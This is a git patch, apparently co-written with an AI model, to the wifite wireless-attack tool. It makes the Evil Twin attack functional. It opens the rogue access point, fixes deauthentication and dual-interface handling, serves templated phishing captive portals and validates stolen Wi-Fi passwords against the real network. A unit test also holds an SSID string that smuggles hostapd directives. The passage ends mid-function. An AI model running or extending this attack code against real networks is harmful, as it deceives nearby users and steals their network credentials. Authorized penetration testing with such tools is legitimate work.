From 779b911b3be17c00041944a55826f866e5b97f6b Mon Sep 17 00:00:00 2001 From: kimocoder Date: Wed, 3 Jun 2026 19:54:29 +0200 Subject: [PATCH] Fix Evil Twin attack: make it actually work, and harden the portal MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Evil Twin subsystem had several issues — some that prevented the attack from working at all, several dead/unwired components, and security/robustness gaps. Found via audit + a live debug run against an authorized AP. Core correctness (attack couldn't work before): - Rogue AP is now OPEN. hostapd was unconditionally configured WPA2 with a secret passphrase, so victims could never associate to reach the portal. generate_config() now emits an open AP (auth_algs=1, no wpa lines) unless a passphrase is explicitly supplied. - dnsmasq now starts: added except-interface=lo so it no longer tries to bind 127.0.0.1:53 and collide with the host resolver ("Address already in use"). dnsmasq startup errors are now read from stderr (were read from stdout, so failures were blank/undiagnosable). - Dual-interface mode now actually engages: _get_interface_assignment() imported InterfaceAssignment from a non-existent module (ModuleNotFoundError), silently falling back to single-interface every run. run() also ran _setup() AND _run_dual_interface(), double-starting hostapd/dnsmasq/portal; run() now picks the mode first and only sets up once. - Added the missing Airmon helpers the dual path calls (put_interface_down, set/get_interface_mode, set/get_interface_channel) — they didn't exist, so the dual path raised AttributeError. The deauth NIC is now put in monitor mode AND locked to the target channel, and restored to managed on cleanup. Credential handling / honesty: - Captured credentials are now validated against the real AP (CredentialValidator, honoring eviltwin_validate_credentials); a confirmed-wrong password is rejected and the attack continues, and unverifiable captures are clearly flagged rather than reported as a confirmed key. - CredentialHandler is now wired into the portal POST path, adding server-side input validation and per-client rate limiting (was dead code). Portal / templates: - Configurable templates are now applied (PortalServer was always built without a renderer, so only the hardcoded generic page was served); --eviltwin-template now takes effect. Template variable substitution is HTML-escaped (the untrusted SSID was injected raw). - Captive portal now uses ThreadingHTTPServer + per-request socket timeout so one stalled client can't block every other victim. - POST Content-Length is bounds-checked (negative/non-numeric rejected; oversized 413) — a negative value previously caused rfile.read(-1) to drain until EOF. - Credential/log callbacks are wrapped in staticmethod when bound to the handler class, so plain-function callbacks aren't turned into bound methods (extra arg). - __del__ no longer does network/thread teardown (fragile at GC); added context manager support. hostapd SSID injection: - SSID is written safely: printable-ASCII SSIDs use ssid=, anything with control chars / non-ASCII uses ssid2=, so an SSID with a newline can't inject hostapd directives. Clamped to the 32-byte 802.11 limit; channel is int-coerced. Config: - Fixed eviltwin_*/evil_twin_* naming drift so configured options actually apply (deauth interval, portal template) and added a real eviltwin_timeout (+ --eviltwin-timeout); the attack previously never timed out. Co-Authored-By: Claude Opus 4.8 --- tests/test_adaptive_deauth_integration.py | 2 +- tests/test_eviltwin_e2e.py | 10 +- tests/test_eviltwin_unit.py | 37 ++- wifite/args.py | 7 + wifite/attack/eviltwin.py | 275 +++++++++++++++++---- wifite/attack/portal/credential_handler.py | 32 +++ wifite/attack/portal/server.py | 81 +++++- wifite/attack/portal/templates.py | 10 +- wifite/config/__init__.py | 1 + wifite/config/defaults.py | 1 + wifite/config/parsers/eviltwin.py | 4 + wifite/tools/airmon.py | 48 ++++ wifite/tools/dnsmasq.py | 18 +- wifite/tools/hostapd.py | 50 +++- 14 files changed, 490 insertions(+), 86 deletions(-) diff --git a/tests/test_adaptive_deauth_integration.py b/tests/test_adaptive_deauth_integration.py index a04da52fd..298a209c3 100644 --- a/tests/test_adaptive_deauth_integration.py +++ b/tests/test_adaptive_deauth_integration.py @@ -30,7 +30,7 @@ def test_adaptive_deauth_initialized(self, mock_config): """Test that adaptive deauth manager is initialized on attack creation.""" # Set up Configuration mock with all required attributes mock_config.interface = 'wlan0' - mock_config.evil_twin_deauth_interval = 5.0 + mock_config.eviltwin_deauth_interval = 5.0 mock_config.wpa_attack_timeout = 60 from wifite.attack.eviltwin import EvilTwin diff --git a/tests/test_eviltwin_e2e.py b/tests/test_eviltwin_e2e.py index fd63d3da4..e1cbfe230 100644 --- a/tests/test_eviltwin_e2e.py +++ b/tests/test_eviltwin_e2e.py @@ -28,9 +28,9 @@ # Set required Configuration attributes before importing other modules Configuration.wpa_attack_timeout = 600 Configuration.interface = 'wlan0' -Configuration.evil_twin_timeout = 0 -Configuration.evil_twin_portal_template = 'generic' -Configuration.evil_twin_deauth_interval = 5 +Configuration.eviltwin_timeout = 0 +Configuration.eviltwin_template = 'generic' +Configuration.eviltwin_deauth_interval = 5 from wifite.attack.eviltwin import EvilTwin, AttackState from wifite.model.target import Target @@ -47,7 +47,7 @@ class TestRealRouterScenarios(unittest.TestCase): def setUp(self): """Set up test fixtures.""" Configuration.interface = 'wlan0' - Configuration.evil_twin_timeout = 0 + Configuration.eviltwin_timeout = 0 def test_wpa2_personal_router_scenario(self): """Test scenario: WPA2-Personal router with standard settings.""" @@ -593,7 +593,7 @@ def setUp(self): self.mock_target.wps = False Configuration.interface = 'wlan0' - Configuration.evil_twin_timeout = 0 + Configuration.eviltwin_timeout = 0 @patch('wifite.attack.eviltwin.Color') @patch('wifite.attack.eviltwin.input') diff --git a/tests/test_eviltwin_unit.py b/tests/test_eviltwin_unit.py index 4ed26b72a..586c0032c 100644 --- a/tests/test_eviltwin_unit.py +++ b/tests/test_eviltwin_unit.py @@ -35,11 +35,17 @@ def test_hostapd_initialization(self): self.assertEqual(hostapd.password, 'testpassword') self.assertFalse(hostapd.running) - def test_hostapd_default_password(self): - """Test hostapd uses default password when none provided.""" + def test_hostapd_open_network_when_no_password(self): + """With no password, the AP must be OPEN (captive portal requirement).""" hostapd = Hostapd('wlan0', 'TestNetwork', 6) - - self.assertEqual(hostapd.password, 'temporarypassword123') + + # No passphrase is stored, and the generated config must not enable WPA2 + # (otherwise clients couldn't associate to reach the portal). + self.assertIsNone(hostapd.password) + config = hostapd.generate_config() + self.assertNotIn('wpa=2', config) + self.assertNotIn('wpa_passphrase', config) + self.assertIn('auth_algs=1', config) def test_hostapd_config_generation(self): """Test hostapd configuration file generation.""" @@ -66,8 +72,29 @@ def test_hostapd_config_special_characters(self): """Test hostapd handles special characters in SSID.""" hostapd = Hostapd('wlan0', 'Test Network 2.4GHz', 6, 'pass123') config = hostapd.generate_config() - + self.assertIn('ssid=Test Network 2.4GHz', config) + + def test_hostapd_ssid_newline_injection_neutralized(self): + """A newline in the SSID must not inject hostapd directives.""" + # Malicious SSID attempting to append a directive on a new config line. + malicious = 'Evil\nmacaddr_acl=1\nctrl_interface=/tmp/x' + hostapd = Hostapd('wlan0', malicious, 6, 'pass123') + config = hostapd.generate_config() + + # The injected directives must NOT appear as standalone config lines. + lines = config.split('\n') + self.assertNotIn('ctrl_interface=/tmp/x', lines) + # The SSID line must be hex-encoded (ssid2=) rather than a raw ssid=. + self.assertTrue(any(line.startswith('ssid2=') for line in lines)) + self.assertFalse(any(line.startswith('ssid=Evil') for line in lines)) + + def test_hostapd_ssid_non_ascii_hex_encoded(self): + """Non-ASCII SSIDs are emitted as ssid2= (hostapd-safe).""" + hostapd = Hostapd('wlan0', 'Café📶', 6, 'pass123') + config = hostapd.generate_config() + lines = config.split('\n') + self.assertTrue(any(line.startswith('ssid2=') for line in lines)) def test_hostapd_config_file_creation(self): """Test hostapd creates configuration file.""" diff --git a/wifite/args.py b/wifite/args.py index a877d2725..16abfad4f 100644 --- a/wifite/args.py +++ b/wifite/args.py @@ -531,6 +531,13 @@ def _add_eviltwin_args(self, group): type=int, help=self._verbose('Seconds between deauth bursts (default: {G}5{W})')) + group.add_argument('--eviltwin-timeout', + action='store', + dest='eviltwin_timeout', + metavar='[seconds]', + type=int, + help=self._verbose('Give up after N seconds (default: {G}0{W} = run until success/interrupt)')) + group.add_argument('--eviltwin-template', action='store', dest='eviltwin_template', diff --git a/wifite/attack/eviltwin.py b/wifite/attack/eviltwin.py index 528b48d81..0bd860829 100755 --- a/wifite/attack/eviltwin.py +++ b/wifite/attack/eviltwin.py @@ -101,6 +101,12 @@ def __init__(self, target, interface_ap=None, interface_deauth=None): self.portal_thread = None self.deauth_process = None self.client_monitor = None + # Lazily-created validator that checks captured credentials against the + # real target AP (see _verify_password). None until first use. + self.credential_validator = None + # True once we've switched the dual-mode deauth interface into monitor + # mode, so _cleanup() knows to restore it to managed afterwards. + self._deauth_monitor_enabled = False # Statistics and tracking self.clients_connected = [] @@ -122,7 +128,8 @@ def __init__(self, target, interface_ap=None, interface_deauth=None): self.cleanup_manager = CleanupManager() # Adaptive deauth manager for intelligent deauth timing - deauth_interval = getattr(Configuration, 'evil_twin_deauth_interval', 5.0) + # `or 5.0` guards the pre-initialize state where the class attr is None. + deauth_interval = getattr(Configuration, 'eviltwin_deauth_interval', 5.0) or 5.0 self.adaptive_deauth = AdaptiveDeauthManager( base_interval=deauth_interval, min_interval=2.0, @@ -215,7 +222,7 @@ def _get_interface_assignment(self): return None # Create assignment from manual configuration - from ..model.interface_assignment import InterfaceAssignment + from ..model.interface_info import InterfaceAssignment assignment = InterfaceAssignment( attack_type='evil_twin', primary=Configuration.interface_primary, @@ -417,7 +424,11 @@ def _configure_deauth_interface(self, interface: str) -> bool: if monitor_interface != interface: log_info('EvilTwin', f'Deauth interface renamed: {interface} -> {monitor_interface}') self.interface_deauth = monitor_interface - + + # Record that we put this interface into monitor mode so _cleanup() + # restores it to managed when the attack ends. + self._deauth_monitor_enabled = True + # Set channel to match target if hasattr(self.target, 'channel') and self.target.channel: log_debug('EvilTwin', f'Setting {self.interface_deauth} to channel {self.target.channel}') @@ -517,7 +528,9 @@ def _start_network_services_dual(self) -> bool: # Start captive portal portal_port = getattr(Configuration, 'eviltwin_port', 80) - self.portal_server = PortalServer(port=portal_port) + self.portal_server = PortalServer( + port=portal_port, + template_renderer=self._build_template_renderer()) self.portal_server.set_credential_callback(self._portal_credential_callback) if not self.portal_server.start(): @@ -605,7 +618,7 @@ def _start_deauth_dual(self, interface: str) -> bool: import contextlib with contextlib.suppress(Exception): current_channel = Airmon.get_interface_channel(interface) - if current_channel and current_channel != self.target.channel: + if current_channel and str(current_channel) != str(self.target.channel): log_warning('EvilTwin', f'Deauth interface on channel {current_channel}, target on {self.target.channel}') Color.pl('{!} {O}Warning: Channel mismatch - deauth may be less effective{W}') @@ -632,7 +645,7 @@ def _monitor_attack_loop(self) -> bool: True if credentials captured, False otherwise """ try: - timeout = getattr(Configuration, 'evil_twin_timeout', 0) + timeout = getattr(Configuration, 'eviltwin_timeout', 0) or 0 last_session_save = time.time() session_save_interval = 30 @@ -737,12 +750,41 @@ def run(self) -> bool: if self.attack_view: self.attack_view.add_log("No conflicts detected", timestamp=True) - # Setup attack components + # Decide interface mode BEFORE setup. Dual-interface mode performs + # its own interface configuration AND service startup inside + # _run_dual_interface(), so we must NOT also run the single-interface + # _setup() — doing both would start hostapd/dnsmasq/portal twice on + # the same interface and the second start would fail. + self.interface_assignment = self._get_interface_assignment() + + if self.interface_assignment and self.interface_assignment.is_dual_interface(): + # Run in dual interface mode (no mode switching) + log_info('EvilTwin', 'Using dual interface mode') + Color.pl('{+} {G}Using dual interface mode{W}') + Color.pl('{+} {C}Primary (AP):{W} {G}%s{W}' % self.interface_assignment.primary) + Color.pl('{+} {C}Secondary (Deauth):{W} {G}%s{W}' % self.interface_assignment.secondary) + Color.pl('') + + if self.attack_view: + self.attack_view.add_log("Using dual interface mode - no mode switching required", timestamp=True) + + result = self._run_dual_interface() + self.setup_time = time.time() - self.start_time + return result + + # Single interface mode (traditional, with mode switching): set up + # and start all components here. + log_info('EvilTwin', 'Using single interface mode') + Color.pl('{+} {C}Using single interface mode{W}') + Color.pl('') + if self.attack_view: + self.attack_view.add_log("Using single interface mode", timestamp=True) + Color.pl('{+} {C}Setting up Evil Twin attack...{W}') self.state = AttackState.SETTING_UP if self.attack_view: self.attack_view.add_log("Setting up attack components...") - + if not self._setup(): Color.pl('{!} {R}Failed to setup Evil Twin attack{W}') if self.error_message: @@ -751,37 +793,13 @@ def run(self) -> bool: self.attack_view.add_log(f"Setup failed: {self.error_message}", timestamp=True) self.state = AttackState.FAILED return False - + self.setup_time = time.time() - self.start_time log_info('EvilTwin', f'Setup completed in {self.setup_time:.2f}s') - + if self.attack_view: self.attack_view.add_log(f"Setup completed in {self.setup_time:.2f}s", timestamp=True) - - # Check for dual interface mode - self.interface_assignment = self._get_interface_assignment() - - if self.interface_assignment and self.interface_assignment.is_dual_interface(): - # Run in dual interface mode (no mode switching) - log_info('EvilTwin', 'Using dual interface mode') - Color.pl('{+} {G}Using dual interface mode{W}') - Color.pl('{+} {C}Primary (AP):{W} {G}%s{W}' % self.interface_assignment.primary) - Color.pl('{+} {C}Secondary (Deauth):{W} {G}%s{W}' % self.interface_assignment.secondary) - Color.pl('') - - if self.attack_view: - self.attack_view.add_log("Using dual interface mode - no mode switching required", timestamp=True) - - return self._run_dual_interface() - else: - # Run in single interface mode (traditional with mode switching) - log_info('EvilTwin', 'Using single interface mode') - Color.pl('{+} {C}Using single interface mode{W}') - Color.pl('') - - if self.attack_view: - self.attack_view.add_log("Using single interface mode", timestamp=True) - + # Start attack (single interface mode) Color.pl('{+} {G}Evil Twin attack started{W}') Color.pl('{+} {C}Rogue AP:{W} {G}%s{W} on channel {G}%s{W}' % ( @@ -800,7 +818,7 @@ def run(self) -> bool: self.state = AttackState.RUNNING # Main attack loop (single interface mode) - timeout = getattr(Configuration, 'evil_twin_timeout', 0) + timeout = getattr(Configuration, 'eviltwin_timeout', 0) or 0 last_session_save = time.time() session_save_interval = 30 # Save session every 30 seconds @@ -1171,7 +1189,9 @@ def _setup(self) -> bool: log_info('EvilTwin', f'Starting captive portal on port {portal_port}') Color.pl('{+} {C}Starting captive portal...{W}') - self.portal_server = PortalServer(port=portal_port) + self.portal_server = PortalServer( + port=portal_port, + template_renderer=self._build_template_renderer()) self.portal_server.set_credential_callback(self._portal_credential_callback) if not self.portal_server.start(): @@ -1201,7 +1221,7 @@ def _setup(self) -> bool: if hasattr(self.target, 'channel') and self.target.channel: with contextlib.suppress(Exception): current_ch = Airmon.get_interface_channel(self.interface_deauth) - if current_ch and current_ch != self.target.channel: + if current_ch and str(current_ch) != str(self.target.channel): log_warning('EvilTwin', f'Deauth interface on ch {current_ch}, ' f'target on ch {self.target.channel}') @@ -1215,33 +1235,177 @@ def _setup(self) -> bool: self.error_message = f'Setup failed: {e}' return False + def _build_template_renderer(self): + """ + Build a TemplateRenderer for the configured captive-portal template. + + Honors ``Configuration.eviltwin_template`` (--eviltwin-template) and + seeds the renderer with the target ESSID so the portal shows the real + network name. Returns None on failure, in which case PortalServer falls + back to its built-in default page. + """ + try: + from .portal.templates import TemplateRenderer + template_name = getattr(Configuration, 'eviltwin_template', 'generic') or 'generic' + renderer = TemplateRenderer( + template_name=template_name, + target_ssid=self.target.essid or '', + ) + log_info('EvilTwin', f'Captive portal template: {template_name}') + return renderer + except Exception as e: + log_warning('EvilTwin', + f'Failed to build portal template renderer ' + f'(using default page): {e}') + return None + def _portal_credential_callback(self, ssid: str, password: str, client_ip: str) -> bool: """ Callback invoked by the portal server when a client submits credentials. - Records the attempt in the client monitor, creates a CrackResult on - the first submission, and signals the main attack loop to stop. + When credential validation is enabled (``eviltwin_validate_credentials``) + and a spare interface is available, the submitted password is checked + against the REAL target AP before being accepted — so a reported success + means a *verified* key. A confirmed-wrong password is rejected (the + client sees the error page and can retry). When validation can't run, the + credential is still captured but clearly flagged as unverified. Returns: - True (always accepts — we capture and stop). + True if accepted (verified, or captured-unverified) — stops the attack. + False if confirmed wrong — the client should retry, attack continues. """ log_info('EvilTwin', f'Credential received from {client_ip}: SSID={ssid}') - # Record in client monitor statistics + verified = self._verify_password(ssid, password) + + if verified is False: + # Confirmed wrong against the real AP — reject and keep the attack + # running so the client can retry (portal shows the error page). + if self.client_monitor: + self.client_monitor.record_credential_attempt(client_ip, success=False) + self.credential_attempts.append({ + 'client_ip': client_ip, + 'mac': client_ip, + 'ssid': ssid, + 'password': password, + 'success': False, + 'timestamp': time.time(), + }) + Color.pl('\n{!} {O}Rejected credential from {C}%s{O}: ' + 'failed validation against the real AP{W}' % client_ip) + return False + + # verified is True (confirmed) or None (could not verify → capture-only) if self.client_monitor: self.client_monitor.record_credential_attempt(client_ip, success=True) # Store the result — the monitoring loop checks self.crack_result self.crack_result = self.create_result(password) + # Annotate verification status for downstream reporting. + self.crack_result.verified = (verified is True) self.credential_attempts.append({ 'client_ip': client_ip, + 'mac': client_ip, 'ssid': ssid, 'password': password, + 'success': True, 'timestamp': time.time(), }) - Color.pl('\n{+} {G}Credential captured from {C}%s{W}' % client_ip) + if verified is True: + Color.pl('\n{+} {G}Credential captured and {C}VERIFIED{G} against the ' + 'real AP from {C}%s{W}' % client_ip) + else: + Color.pl('\n{+} {G}Credential captured from {C}%s{W}' % client_ip) + Color.pl('{!} {O}Note: not verified against the real AP ' + '(validation unavailable) — treat as unconfirmed{W}') return True + + def _verify_password(self, ssid: str, password: str): + """ + Verify a submitted password against the REAL target AP. + + Validation runs wpa_supplicant against the legitimate AP, which needs a + managed-mode radio. The AP interface is busy serving the rogue AP, so we + can only validate when a separate (deauth) interface exists — which we + briefly switch to managed mode and restore afterwards. + + Returns: + True — confirmed correct against the real AP. + False — confirmed incorrect. + None — could not validate (disabled, no spare interface, missing + wpa_supplicant, or error); caller treats it as an unverified + capture rather than a confirmed key. + """ + import contextlib + + if not getattr(Configuration, 'eviltwin_validate_credentials', True): + return None # validation disabled → capture-only + + iface = self.interface_deauth + if not iface or iface == self.interface_ap: + log_warning('EvilTwin', + 'No spare interface to verify credentials against the ' + 'real AP; capturing as unverified') + return None + + if not Process.exists('wpa_supplicant'): + log_warning('EvilTwin', + 'wpa_supplicant not found; capturing credential unverified') + return None + + from ..tools.iw import Iw + from ..tools.ip import Ip + from ..util.credential_validator import CredentialValidator + + # Pause deauth and borrow the secondary interface in managed mode so + # wpa_supplicant can associate with the real AP. + was_paused = self.adaptive_deauth.is_paused + self.adaptive_deauth.pause() + switched = False + try: + with contextlib.suppress(Exception): + Ip.down(iface) + Iw.mode(iface, 'managed') + Ip.up(iface) + switched = True + + if not switched: + log_warning('EvilTwin', + 'Could not switch %s to managed mode for validation; ' + 'capturing unverified' % iface) + return None + + if self.credential_validator is None: + self.credential_validator = CredentialValidator( + interface=iface, + target_bssid=self.target.bssid, + target_channel=int(self.target.channel), + ) + + Color.pl('{+} {C}Verifying credential against the real AP...{W}') + is_valid, _vtime, err = self.credential_validator.validate_credentials( + ssid, password) + if is_valid: + log_info('EvilTwin', 'Credential verified against real AP') + else: + log_info('EvilTwin', f'Credential failed validation: {err}') + return bool(is_valid) + + except Exception as e: + log_warning('EvilTwin', + f'Credential validation error: {e}; capturing unverified') + return None + + finally: + # Restore monitor mode so deauth can resume. + with contextlib.suppress(Exception): + if switched: + Ip.down(iface) + Iw.mode(iface, 'monitor') + Ip.up(iface) + if not was_paused: + self.adaptive_deauth.resume() def _handle_deauth(self): """ @@ -1491,7 +1655,24 @@ def _cleanup(self): self.hostapd = None if self.hostapd_process: self.hostapd_process = None - + + # Restore the dual-mode deauth interface from monitor back to + # managed mode (it was switched to monitor in + # _configure_deauth_interface). Best-effort — never abort cleanup. + if self._deauth_monitor_enabled and self.interface_deauth \ + and self.interface_deauth != self.interface_ap: + try: + from ..tools.airmon import Airmon + log_debug('EvilTwin', + f'Restoring deauth interface {self.interface_deauth} to managed mode') + Airmon.set_interface_mode(self.interface_deauth, 'managed') + except Exception as e: + log_warning('EvilTwin', + f'Failed to restore deauth interface {self.interface_deauth} ' + f'to managed mode: {e}') + finally: + self._deauth_monitor_enabled = False + # Register temporary files for removal for temp_file in self.temp_files: self.cleanup_manager.register_temp_file(temp_file) @@ -1573,7 +1754,7 @@ def create_result(self, password: str, validation_time: float = 0.0) -> CrackRes clients_connected=len(self.clients_connected), credential_attempts=len(self.credential_attempts), validation_time=validation_time, - portal_template=getattr(Configuration, 'evil_twin_portal_template', 'generic') + portal_template=getattr(Configuration, 'eviltwin_template', 'generic') ) log_info('EvilTwin', f'Created result for {self.target.essid}: {mask_sensitive(password)}') @@ -1865,8 +2046,8 @@ def save_state_to_session(self) -> 'EvilTwinAttackState': state = EvilTwinAttackState( interface_ap=self.interface_ap, interface_deauth=self.interface_deauth, - portal_template=getattr(Configuration, 'evil_twin_portal_template', 'generic'), - deauth_interval=getattr(Configuration, 'evil_twin_deauth_interval', 5), + portal_template=getattr(Configuration, 'eviltwin_template', 'generic'), + deauth_interval=getattr(Configuration, 'eviltwin_deauth_interval', 5), attack_phase=self.state.value if hasattr(self.state, 'value') else str(self.state), start_time=self.start_time, setup_time=self.setup_time, diff --git a/wifite/attack/portal/credential_handler.py b/wifite/attack/portal/credential_handler.py index 0d1b2f3a2..7b69b9cc9 100755 --- a/wifite/attack/portal/credential_handler.py +++ b/wifite/attack/portal/credential_handler.py @@ -173,6 +173,38 @@ def submit_credentials(self, ssid: str, password: str, client_ip: str) -> Tuple[ log_error('CredentialHandler', f'Error handling submission: {e}', e) return False, 'An error occurred. Please try again.' + def check_and_record(self, ssid: str, password: str, client_ip: str) -> Tuple[bool, str]: + """ + Gate a submission inline: validate input format and enforce per-client + rate limiting, recording the attempt. + + Unlike submit_credentials(), this does NOT enqueue the submission for + async validation — it is meant to be called synchronously from the + portal POST path as a lightweight admission check before the real + credential callback runs. + + Args: + ssid: Network SSID + password: Network password + client_ip: IP address of submitting client + + Returns: + Tuple of (accepted, message). When accepted is False, message + explains why (bad input or rate limited). + """ + validation_error = self._validate_input(ssid, password) + if validation_error: + log_warning('CredentialHandler', f'Invalid input from {client_ip}: {validation_error}') + return False, validation_error + + if not self._check_rate_limit(client_ip): + log_warning('CredentialHandler', f'Rate limit exceeded for {client_ip}') + return False, 'Too many attempts. Please wait before trying again.' + + self.total_submissions += 1 + self._update_client_attempts(client_ip) + return True, 'OK' + def _validate_input(self, ssid: str, password: str) -> Optional[str]: """ Validate input format. diff --git a/wifite/attack/portal/server.py b/wifite/attack/portal/server.py index 191b2b6a4..466dd8317 100755 --- a/wifite/attack/portal/server.py +++ b/wifite/attack/portal/server.py @@ -10,13 +10,14 @@ import os import threading import time -from http.server import HTTPServer, BaseHTTPRequestHandler +from http.server import HTTPServer, ThreadingHTTPServer, BaseHTTPRequestHandler from urllib.parse import parse_qs, urlparse from typing import Optional, Callable, Dict, Any import socket from ...util.color import Color from ...util.logger import log_info, log_error, log_warning, log_debug +from .credential_handler import CredentialHandler class PortalRequestHandler(BaseHTTPRequestHandler): @@ -27,6 +28,14 @@ class PortalRequestHandler(BaseHTTPRequestHandler): credential_callback = None request_log_callback = None server_instance = None + credential_handler = None + + # Per-connection socket timeout (seconds). Without this a client that opens + # a connection and never finishes its request would hold its handler thread + # indefinitely; with ThreadingHTTPServer that's one thread per stalled + # client, and the timeout reaps them. BaseHTTPRequestHandler honors this in + # handle_one_request(). + timeout = 30 def log_message(self, format, *args): """Override to use our logging system.""" @@ -86,9 +95,18 @@ def do_POST(self): self._send_error_response(404, 'Not Found') return - # Read POST data with size limit to prevent memory exhaustion + # Read POST data with bounds checking to prevent memory exhaustion. MAX_POST_SIZE = 8192 # 8KB — plenty for form credentials - content_length = int(self.headers.get('Content-Length', 0)) + try: + content_length = int(self.headers.get('Content-Length', 0)) + except (TypeError, ValueError): + content_length = -1 + # A missing/non-numeric or negative Content-Length is malformed; a + # negative value would otherwise make rfile.read(-1) drain until EOF. + if content_length < 0: + log_warning('Portal', f'Rejected POST with invalid Content-Length from {client_ip}') + self._send_error_response(400, 'Bad Request') + return if content_length > MAX_POST_SIZE: log_warning('Portal', f'Rejected oversized POST ({content_length} bytes) from {client_ip}') self._send_error_response(413, 'Request Entity Too Large') @@ -103,7 +121,17 @@ def do_POST(self): password = form_data.get('password', [''])[0] log_info('Portal', f'Credential submission from {client_ip}: SSID={ssid}') - + + # Admission gate: server-side input validation + per-client rate + # limiting before the (potentially expensive) credential callback. + if self.credential_handler is not None: + accepted, message = self.credential_handler.check_and_record( + ssid, password, client_ip) + if not accepted: + log_warning('Portal', f'Submission rejected from {client_ip}: {message}') + self._redirect_to_error() + return + # Validate credentials via callback if self.credential_callback: try: @@ -386,7 +414,8 @@ class PortalServer: Optimized for fast response times and low memory usage. """ - def __init__(self, host=None, port=80, template_renderer=None): + def __init__(self, host=None, port=80, template_renderer=None, + credential_handler=None): """ Initialize portal server. @@ -396,6 +425,9 @@ def __init__(self, host=None, port=80, template_renderer=None): when binding on all interfaces is intentionally required. port: Port to listen on (default: 80) template_renderer: Optional template renderer for custom pages + credential_handler: Optional CredentialHandler providing server-side + input validation and per-client rate limiting. Defaults to a + fresh handler so these protections are always active. """ # Default to the standard evil-twin AP IP rather than all interfaces. # This prevents the portal from being reachable on unrelated interfaces @@ -405,6 +437,8 @@ def __init__(self, host=None, port=80, template_renderer=None): self.template_renderer = template_renderer self.credential_callback = None self.request_log_callback = None + # Always-on admission control (input validation + rate limiting). + self.credential_handler = credential_handler or CredentialHandler() self.server = None self.server_thread = None @@ -454,12 +488,23 @@ def start(self) -> bool: # Set class variables for request handler PortalRequestHandler.template_renderer = self.template_renderer - PortalRequestHandler.credential_callback = self.credential_callback - PortalRequestHandler.request_log_callback = self.request_log_callback + # Wrap function callbacks in staticmethod: assigning a plain function + # to a handler CLASS attribute would otherwise turn it into a bound + # method (injecting the handler instance as an extra first arg). + # Bound methods and None pass through unchanged. + PortalRequestHandler.credential_callback = ( + staticmethod(self.credential_callback) if self.credential_callback else None) + PortalRequestHandler.request_log_callback = ( + staticmethod(self.request_log_callback) if self.request_log_callback else None) PortalRequestHandler.server_instance = self + PortalRequestHandler.credential_handler = self.credential_handler # Create HTTP server - self.server = HTTPServer((self.host, self.port), PortalRequestHandler) + # ThreadingHTTPServer handles each client in its own thread, so one + # slow/stalled client can't block the captive portal for everyone + # else. daemon_threads=True (set by ThreadingHTTPServer) lets the + # process exit without waiting on in-flight request threads. + self.server = ThreadingHTTPServer((self.host, self.port), PortalRequestHandler) # Start server in background thread self.server_thread = threading.Thread(target=self._run_server, daemon=True) @@ -800,10 +845,26 @@ def get_cached_static(self, filename: str) -> Optional[tuple]: """ return self._static_cache.get(filename) + def __enter__(self): + """Context-manager entry: start the server.""" + self.start() + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + """Context-manager exit: stop the server.""" + self.stop() + return False + def __del__(self): - """Cleanup on deletion.""" + """Release in-memory caches on GC. + + Deliberately does NOT perform network/thread teardown here — calling + server.shutdown()/join() at GC time (especially during interpreter + shutdown) is fragile and can hang or raise. Lifecycle is managed + explicitly via stop() or the context manager; the serve_forever thread + is a daemon, so it never blocks process exit. + """ try: - self.stop() self._template_cache.clear() self._static_cache.clear() except Exception: diff --git a/wifite/attack/portal/templates.py b/wifite/attack/portal/templates.py index 236322d15..17a58ab5e 100755 --- a/wifite/attack/portal/templates.py +++ b/wifite/attack/portal/templates.py @@ -7,6 +7,7 @@ Provides template rendering with support for multiple portal styles. """ +import html import os from typing import Dict, Any, Optional @@ -136,12 +137,15 @@ def _substitute_variables(self, template: str) -> str: # Add custom variables variables.update(self.custom_vars) - # Substitute variables + # Substitute variables. Values (notably the target SSID, which comes + # from the air and is attacker-influenceable) are HTML-escaped to + # prevent attribute/markup injection into the served portal pages and + # to render correctly for SSIDs containing & < > " '. result = template for key, value in variables.items(): placeholder = '{{' + key + '}}' - result = result.replace(placeholder, str(value)) - + result = result.replace(placeholder, html.escape(str(value), quote=True)) + return result def _get_builtin_login_template(self) -> str: diff --git a/wifite/config/__init__.py b/wifite/config/__init__.py index b43a7ac49..461d7b9ed 100644 --- a/wifite/config/__init__.py +++ b/wifite/config/__init__.py @@ -74,6 +74,7 @@ class Configuration: # Evil Twin settings eviltwin_port = None eviltwin_deauth_interval = None + eviltwin_timeout = None eviltwin_template = None eviltwin_channel = None eviltwin_validate_credentials = None diff --git a/wifite/config/defaults.py b/wifite/config/defaults.py index a1fac73d8..210f97fb2 100644 --- a/wifite/config/defaults.py +++ b/wifite/config/defaults.py @@ -52,6 +52,7 @@ def initialize_defaults(cls): cls.use_eviltwin = False cls.eviltwin_port = 80 cls.eviltwin_deauth_interval = 5 + cls.eviltwin_timeout = 0 # Seconds before giving up (0 = run until success/interrupt) cls.eviltwin_template = 'generic' cls.eviltwin_channel = None cls.eviltwin_validate_credentials = True diff --git a/wifite/config/parsers/eviltwin.py b/wifite/config/parsers/eviltwin.py index a297db277..098846daa 100644 --- a/wifite/config/parsers/eviltwin.py +++ b/wifite/config/parsers/eviltwin.py @@ -54,6 +54,10 @@ def parse_eviltwin_args(cls, args): cls.eviltwin_deauth_interval = args.eviltwin_deauth_interval Color.pl('{+} {C}option:{W} Evil Twin deauth interval: {G}%d seconds{W}' % args.eviltwin_deauth_interval) + if hasattr(args, 'eviltwin_timeout') and args.eviltwin_timeout is not None: + cls.eviltwin_timeout = args.eviltwin_timeout + Color.pl('{+} {C}option:{W} Evil Twin timeout: {G}%d seconds{W}' % args.eviltwin_timeout) + if hasattr(args, 'eviltwin_template') and args.eviltwin_template: cls.eviltwin_template = args.eviltwin_template Color.pl('{+} {C}option:{W} Evil Twin portal template: {G}%s{W}' % args.eviltwin_template) diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 717d78947..fd57cee28 100644 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -454,6 +454,54 @@ def put_interface_up(interface): Ip.up(interface) Color.pl('{+}{W} Done !') + @staticmethod + def put_interface_down(interface): + """Bring an interface down (e.g. before changing mode/channel).""" + Color.p('{!}{W} Putting interface {R}%s{W} {O}down{W}...\n' % interface) + Ip.down(interface) + Color.pl('{+}{W} Done !') + + @staticmethod + def set_interface_mode(interface, mode_name): + """Set an interface's 802.11 mode (e.g. 'managed', 'monitor'). + + The interface must be down to change type, so we toggle it down→set→up. + """ + log_debug('Airmon', 